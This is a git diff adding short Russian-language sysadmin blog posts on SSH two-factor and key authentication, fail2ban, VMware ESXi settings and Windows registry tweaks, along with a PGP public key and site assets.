будет инициализированно подключение. +```shell +google-authenticator +``` + +## Управление факторами (необязательно) +Включить запрос ключа при аутентификации: +```shell +AuthenticationMethods publickey,password publickey,keyboard-interactive + +# /etc/ssh/sshd_config +``` + +Отключить запрос пароля при аутентификации: +```shell +#@include common-auth + +# /etc/pam.d/sshd +``` + +## Перезапуск сервиса ssh +```shell +systemctl restart ssh +``` diff --git a/content/posts/ssh-auth-by-key.md b/content/posts/ssh-auth-by-key.md new file mode 100644 index 0000000..7758afb --- /dev/null +++ b/content/posts/ssh-auth-by-key.md @@ -0,0 +1,15 @@ +--- +title: Беспарольная аутентификация для SSH +description: С помощью публичного ключа +date: 2022-12-14T12:04:00+05:00 +tags: [linux, ssh] +--- +## Генерация ключа +```shell +ssh-keygen +``` + +## Копировние ключв +```shell +ssh-copy-id @ +``` diff --git a/content/posts/ssh-fail2ban.md b/content/posts/ssh-fail2ban.md new file mode 100644 index 0000000..9f39d0a --- /dev/null +++ b/content/posts/ssh-fail2ban.md @@ -0,0 +1,29 @@ +--- +title: fail2ban для SSH +description: Защита от брута пароля к SSH +date: 2022-11-29T13:41:00+05:00 +tags: [linux, ssh] +--- +## Установка пакета fail2ban +```shell +apt -y install fail2ban +``` + +## Правило для ssh +``` shell +[sshd] +enabled = true +port = +filter = sshd +logpath = /var/log/auth.log +maxretry = 3 +findtime = 300 +bantime = 3600 + +# /etc/fail2ban/jail.d/sshd.conf +``` + +## Перезапуск сервиса fail2ban +```shell +systemctl restart fail2ban +``` diff --git a/content/posts/vmware-clipboard.md b/content/posts/vmware-clipboard.md new file mode 100644 index 0000000..5fcdaa3 --- /dev/null +++ b/content/posts/vmware-clipboard.md @@ -0,0 +1,14 @@ +--- +title: Включение буфера VM в VMware ESXi/vSphere +description: У созданных VM будет включен буфер обмена по умолчанию +date: 2022-11-25T15:08:00+05:00 +tags: [vmware] +--- +## Изменение конфига +``` shell +vmx.fullpath = "/bin/vmx" +isolation.tools.copy.disable="FALSE" +isolation.tools.paste.disable="FALSE" + +# /etc/vmware/config +``` diff --git a/content/posts/vmware-restart-date.md b/content/posts/vmware-restart-date.md new file mode 100644 index 0000000..6cd35e9 --- /dev/null +++ b/content/posts/vmware-restart-date.md @@ -0,0 +1,14 @@ +--- +title: Сброс времени при перезагрузке в VMware ESXi/vSphere +description: При перезагрузке гипервизора будет выставляться заданное время +date: 2022-11-25T15:18:00+05:00 +tags: [vmware] +--- +## Изменение скрипта +``` shell +#!/bin/sh ++group=host/vim/vmvisor/boot +esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 +exit 0 + +# /etc/rc.local.d/local.sh +``` diff --git a/content/posts/windows-disable-shutdown.md b/content/posts/windows-disable-shutdown.md new file mode 100644 index 0000000..c21be5d --- /dev/null +++ b/content/posts/windows-disable-shutdown.md @@ -0,0 +1,15 @@ +--- +title: Отключение возможности выключения/перезагрузки/сна на Windows +description: Позволяет отключить определённую функцию +date: 2023-04-06T12:15:00+05:00 +tags: [windows] +--- +## Отключение +В ветке реестра выставить значение value на 1. +``` +Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown +Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart +Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep + +# regedit +``` diff --git a/static/0x952C15AB751A65F6 b/static/0x952C15AB751A65F6 new file mode 100644 index 0000000..9bae261 --- /dev/null +++ b/static/0x952C15AB751A65F6 @@ -0,0 +1,40 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +JQ== +=h847 +-----END PGP PUBLIC KEY BLOCK----- \ No newline at end of file diff --git a/static/favicon.ico b/static/favicon.ico new file mode 100644 index 0000000..d5d34e4 Binary files /dev/null and b/static/favicon.ico differ diff --git a/static/fruworg.png b/static/fruworg.png new file mode 100644 index 0000000..723e4ff Binary files /dev/null and b/static/fruworg.png differ diff --git a/themes/archie b/themes/archie new file mode 160000 index 0000000..0f3a862 --- /dev/null +++ b/themes/archie @@ -0,0 +1 @@ +Subproject commit 0f3a862fc89e1f4a56e4380b9f27b7b71f964a34